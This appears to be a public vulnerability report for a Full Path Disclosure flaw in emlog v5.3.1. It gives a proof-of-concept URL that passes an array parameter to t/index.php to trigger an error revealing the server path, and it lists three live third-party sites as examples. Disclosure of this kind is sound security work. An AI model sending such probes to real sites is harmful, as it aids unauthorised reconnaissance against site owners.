

main

...

Bugs / emlog v5.3.1 has Full Path Disclosure vulnerability.md

thinkgad Update emlog v5.3.1 has Full Path Disclosure vulnerability.md

History

1 contributor

47 lines (22 sloc) 1.4 KB

...

emlog v5.3.1 has Full Path Disclosure vulnerability

emlog is a fast, stable and easy-to-use blog and CMS website building system based on PHP and MySQL.

site: https://www.emlog.net/em_download/emlog/emlog_5.3.1.zip

github: <https://github.com/emlog/>

vulnerability in t/index.php line 11:

```
$action = isset($_GET['action']) ? addslashes($_GET['action']) : '';
```

that uses a method of requesting a page like this:

```
https://localhost/t/index.php?action=n
```

We can use a method of opening and closing braces that causes the page to output an error. This method would look like this:

```
https://localhost/t/index.php?action[]=aaaa
```

This renders the page defunct thus spitting out an error:

`addslashes()` expects parameter 1 to be string, array given in `/www/wwwroot/web/t/index.php` on line `11`

POC:

```
http://127.0.0.1/t/index.php?action[]=aaaa
```

The screenshot shows a web browser window with a warning message displayed. The warning message is: "Warning: addslashes() expects parameter 1 to be string, array given in C:\phpstudy_pro\WWW\t\index.php on line 11". Below the warning message, the browser's developer tools are open, showing the source code of the page. The source code is a PHP file, and the warning message is highlighted in red. The source code shows the following lines:

```
1 <br />
2 <b>Warning</b>: addslashes() expects parameter 1 to be string, array given in C:\phpstudy_pro\WWW\t\index.php on line 11<br />
3
4 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
5 <html xmlns="http://www.w3.org/1999/xhtml">
6 <head>
7 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
8 <title>微语 - 点滴记忆</title>
9 <meta name="keywords" content="emlog" />
10 <meta name="description" content="使用emlog搭建的站点" />
11 <meta name="generator" content="emlog" />
12 <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://127.0.0.1/xmlrpc.php?rsd" />
13 <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://127.0.0.1/wlwmanifest.xml" />
14 <link rel="alternate" type="application/rss+xml" title="RSS" href="http://127.0.0.1/rss.php" />
15 <link href="http://127.0.0.1/content/templates/default/main.css" rel="stylesheet" type="text/css" />
16 <link href="http://127.0.0.1/admin/editor/plugins/code/prettify.css" rel="stylesheet" type="text/css" />
17 <script src="http://127.0.0.1/admin/editor/plugins/code/prettify.js" type="text/javascript"></script>
```

Full Path Disclosure vulnerabilities enable the attacker to see the path to the webroot/file. Certain vulnerabilities, such as using the `load_file()` (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.

Examples:

```
view-source:https://www.jiquan123.cn/t/index.php?action[]=aaaa
view-source:https://www.zlrs1.cn/t/index.php?action[]=aaaa
view-source:https://dxx32.cn/t/index.php?action[]=aaaa
```

